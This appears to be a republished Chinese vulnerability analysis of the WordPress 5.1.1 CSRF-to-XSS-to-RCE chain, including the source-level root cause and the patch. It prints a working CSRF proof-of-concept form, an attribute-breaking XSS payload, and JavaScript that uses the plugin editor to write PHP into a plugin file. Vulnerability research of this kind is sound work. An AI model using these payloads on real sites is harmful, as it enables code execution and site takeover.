WordPress 5.1.1 CSRF->XSS->RCE漏洞分析

WordPress 5.1.1 CSRF->XSS->RCE漏洞分析

WordPress 5.1.1 CSRF->XSS->RCE漏洞分析WordPress安全机制与XSS写shell

nonce机制

在WordPress中,对不同操作都做了nonce检测机制,以防CSRF攻击。
nonce值的生成:


$expected = substr( wp_hash( $i . ‘|’ . $action . ‘|’ . $uid . ‘|’ . $token, ‘nonce’), -12, 10 );

其中,$i是由时间决定的随机数,每天的0时与12时更新一次;$action是操作;$uid是用户id;$token是用户登陆时服务器产生的,每次登陆都不同。
由此可见,nonce可以很好地避免CSRF等漏洞的产生。

后台账户重要性

WordPress认为,后台管理员是有安全意识的,而且不会被盗。所以在WordPress的后台没有XSS过滤;甚至可以通过插件编辑器直接写入webshell。

XSS后台写shell

· 有了nonce机制并且给后台用户较大的权限时,就可以通过XSS直接写入webshell。

· 利用后台管理员可以通过编辑插件写入任意代码这个特点,我们可以构造写入任意代码的JS。可以获取webshell的JS脚本为(测试环境:WordPress5.1.1,不同版本的参数可能不同,需要抓包重写):

<html>

<script>

p = ‘wordpress/wp-admin/plugin-editor.php?’;

q = ‘file=hello.php’;

s = ‘<?php phpinfo();’;

 

a = new XMLHttpRequest();

a.open(‘GET’, p+q, 0);

a.send();

 

$ = ‘nonce=’ + /nonce” value=”([^”]*?)”/.exec(a.responseText)[1] +

‘&newcontent=’ + s + ‘&action=edit-theme-plugin-file&’ + q +’&plugin=hello.php’;

 

b = new XMLHttpRequest();

b.open(‘POST’, p+q, 1);

b.setRequestHeader(‘Content-Type’, ‘application/x-www-form-urlencoded’);

b.send($);

 

b.onreadystatechange = function(){

   if (this.readyState == 4) {

      fetch(‘wordpress/wp-content/plugins/hello.php’);

   }

}

</script>

 

</html>

WordPress 5.1.1 CSRF-&gt;XSS-&gt;RCE漏洞分析漏洞复现

由于我复现的时候 5.1.1已经被修复了,贴一个找到的未修复的commit:https://codeload.github.com/WordPress/WordPress/zip/df681b2ee0c01c3282f07feaed0b498546c87be3

· 安装完WordPress并使用管理员登陆后,进入评论使用burp构造CSRFpayload:


<a title=’ ” onmouseover=alert(1) attr2=” ‘ rel=’1’>click

· 生成的POC:

<html>

  <!– CSRF PoC – generated by Burp Suite Professional –>

  <body>

  <script>history.pushState(”, ”, ‘/’)</script>

    <form action=”http://localhost:801/cms/wordpress-5.1.1/wordpress/wp-comments-post.php” method=”POST”>

      <input type=”hidden” name=”comment” value=”<a title=’ ” onmouseover=alert(1) attr2=” ‘ rel=’1’>click” />

      <input type=”hidden” name=”submit” value=”Post Comment” />

      <input type=”hidden” name=”comment_post_ID” value=”1″ />

      <input type=”hidden” name=”comment_parent” value=”0″ />

      <input type=”hidden” name=”_wp_unfiltered_html_comment” value=”no_need_correct” />

      <input type=”submit” value=”Submit request” />

    </form>

  </body>

</html>

· 管理用户访问POC后,会产生一个a标签并注入js代码,执行效果:

WordPress 5.1.1 CSRF-&gt;XSS-&gt;RCE漏洞分析

WordPress 5.1.1 CSRF-&gt;XSS-&gt;RCE漏洞分析

· 此时,就可以执行写shell的JS代码,达到getshell的目的。

WordPress 5.1.1 CSRF-&gt;XSS-&gt;RCE漏洞分析漏洞分析

再次看看前面的payload:


<a title=’ ” onmouseover=alert(1) attr2=” ‘ rel=’1’>click

需要注意的是:a后的第一个属性必须为$allowedposttags白名单中的属性,如title、id等,否则WordPress会直接去掉该属性。查看全局允许的属性名:

WordPress 5.1.1 CSRF-&gt;XSS-&gt;RCE漏洞分析

由于之前的操作繁琐(主要是评论的各种过滤),直接在漏洞修复处打断点:

function wp_rel_nofollow_callback( $matches ) {

$text = $matches[1];

$atts = shortcode_parse_atts( $matches[1] );

$rel  = ‘nofollow’;

 

if ( preg_match( ‘%href=[“‘](‘ . preg_quote( set_url_scheme( home_url(), ‘http’ ) ) . ‘)%i’, $text ) ||

preg_match( ‘%href=[“‘](‘ . preg_quote( set_url_scheme( home_url(), ‘https’ ) ) . ‘)%i’, $text ) ) {

 

return “<a $text>”;

}

 

if ( ! empty( $atts[‘rel’] ) ) { //rel属性不为空时

$parts = array_map( ‘trim’, explode( ‘ ‘, $atts[‘rel’] ) );

if ( false === array_search( ‘nofollow’, $parts ) ) {

$parts[] = ‘nofollow’;

}

$rel = implode( ‘ ‘, $parts );

unset( $atts[‘rel’] );

 

$html = ”;

foreach ( $atts as $name => $value ) {

$html .= “{$name}=”$value” “; //注意此处对每个属性的值添加双引号

}

$text = trim( $html );

}

return “<a $text rel=”$rel”>”;

}

可以很明显的注意到,在调用解析rel属性的函数时,如果存在rel属性,首先将解析的每一个属性直接拼接进去并且加上双引号。
WordPress对属性的解析与浏览器的解析一致,大致如下:

1. 外界为双引号,则把双引号内字符串解析为属性而不会加转义。

2. 外界为单引号,则把单引号内字符串解析为属性而不会加转义。

而在此处,如果单引号中包含双引号,解析时被当做属性,自然不会转义,而最后却被包裹上了双引号,从而造成闭合,原本在属性中的恶意代码被解析:


<a title=’ ” onmouseover=alert(1) attr2=” ‘ rel=’1’>click

->

<a title=” ” onmouseover=alert(1) attr2=” ” rel=”1″>click

最后输出的结果为:


<a title=” ” onmouseover=”alert(1)” attr2=” ” rel=”1 nofollow”>click</a>

从而造成XSS

WordPress 5.1.1 CSRF-&gt;XSS-&gt;RCE漏洞分析修复分析

针对此漏洞的修复主要有两个:
第一处:

WordPress 5.1.1 CSRF-&gt;XSS-&gt;RCE漏洞分析

可以看到使用esc_attr函数对属性进行转义了。

第二处:

WordPress 5.1.1 CSRF-&gt;XSS-&gt;RCE漏洞分析

第二处修补使用wp_filter_kses代替了wp_filter_post_kses。首先查看wp_filter_post_kses:

function wp_filter_post_kses( $data ) {

return addslashes( wp_kses( stripslashes( $data ), ‘post’ ) );

}

 

跟进->

 

function wp_kses( $string, $allowed_html, $allowed_protocols = array() ) {

if ( empty( $allowed_protocols ) ) {

$allowed_protocols = wp_allowed_protocols();

}

$string = wp_kses_no_null( $string, array( ‘slash_zero’ => ‘keep’ ) );

$string = wp_kses_normalize_entities( $string );

$string = wp_kses_hook( $string, $allowed_html, $allowed_protocols );

return wp_kses_split( $string, $allowed_html, $allowed_protocols ); //注意此处

}

可以看到,该函数主要是基于$allowed_html对string进行了过滤。

再查看wp_filter_kses:


function wp_filter_kses( $data ) {

return addslashes( wp_kses( stripslashes( $data ), current_filter() ) );

}

同样地,使用了wp_kses函数,不同的是这次传入的是current_filter(),其中关键的过滤功能在函数wp_kses_split中,跟进:

function wp_kses_split( $string, $allowed_html, $allowed_protocols ) {

global $pass_allowed_html, $pass_allowed_protocols;

$pass_allowed_html      = $allowed_html;

$pass_allowed_protocols = $allowed_protocols;

return preg_replace_callback( ‘%(<!–.*?(–>|$))|(<[^>]*(>|$)|>)%’, ‘_wp_kses_split_callback’, $string );

}

跟进_wp_kses_split_callback->

 

function _wp_kses_split_callback( $match ) {

global $pass_allowed_html, $pass_allowed_protocols;

return wp_kses_split2( $match[0], $pass_allowed_html, $pass_allowed_protocols );

}

 

跟进wp_kses_split2->

 

function wp_kses_split2( $string, $allowed_html, $allowed_protocols ) {

$string = wp_kses_stripslashes( $string );

if ( ! is_array( $allowed_html ) ) {

$allowed_html = wp_kses_allowed_html( $allowed_html );

}

}

 

跟进wp_kses_allowed_html->

 

function wp_kses_allowed_html( $context = ” ) {

global $allowedposttags, $allowedtags, $allowedentitynames;

switch ( $context ) {

case ‘post’:

$tags = apply_filters( ‘wp_kses_allowed_html’, $allowedposttags, $context );

 

if ( ! CUSTOM_TAGS && ! isset( $tags[‘form’] ) && ( isset( $tags[‘input’] ) || isset( $tags[‘select’] ) ) ) {

$tags = $allowedposttags;

 

$tags[‘form’] = array(

‘action’         => true,

‘accept’         => true,

‘accept-charset’ => true,

‘enctype’        => true,

‘method’         => true,

‘name’           => true,

‘target’         => true,

);

$tags = apply_filters( ‘wp_kses_allowed_html’, $tags, $context );

}

 

return $tags;

 

case ‘user_description’:

case ‘pre_user_description’:

$tags             = $allowedtags;

$tags[‘a’][‘rel’] = true;

return apply_filters( ‘wp_kses_allowed_html’, $tags, $context );

 

case ‘strip’:

return apply_filters( ‘wp_kses_allowed_html’, array(), $context );

 

case ‘entities’:

return apply_filters( ‘wp_kses_allowed_html’, $allowedentitynames, $context );

 

case ‘data’:

default:

return apply_filters( ‘wp_kses_allowed_html’, $allowedtags, $context );

}

可以看到,传入post时,使用$allowedposttags过滤;传入current_filter()解析出的pre_comment_content时则进入default,使用$allowedtags过滤。这两个数组都是全局变量,$allowedposttags中包括各种标签,其中就包括a以及其rel属性:

‘a’          => array(

‘href’     => true,

‘rel’      => true,

‘rev’      => true,

‘name’     => true,

‘target’   => true,

‘download’ => array(

‘valueless’ => ‘y’,

),

)

而$allowedtags比$allowedposttags严格的多,其中a标签的内容如下:


‘a’          => array(

‘href’  => true,

‘title’ => true,

)

所以,第二个修复点其实是把标签白名单缩小了,不允许rel的出现。

参考资料

· https://www.bynicolas.com/code/wordpress-nonce/

· https://brutelogic.com.br/blog/compromising-cmses-xss/

· https://lorexxar.cn/2017/08/23/xss-tuo/

· https://lorexxar.cn/2019/03/14/wp5-1-1xss/

① 由于本网站资源是搜集整理而成,版权均归原作者所有。本站仅提供一个观摩学习的环境,将不对任何资源负法律责任。
② 若无意中侵犯到您的版权利益,请来信联系我们,我们会在收到信息后会尽快给予处理。
⑥本公告的解释权及对本网站使用的解释权归结于 Drexi.cn-爱分享
Drexi-爱分享 » WordPress 5.1.1 CSRF->XSS->RCE漏洞分析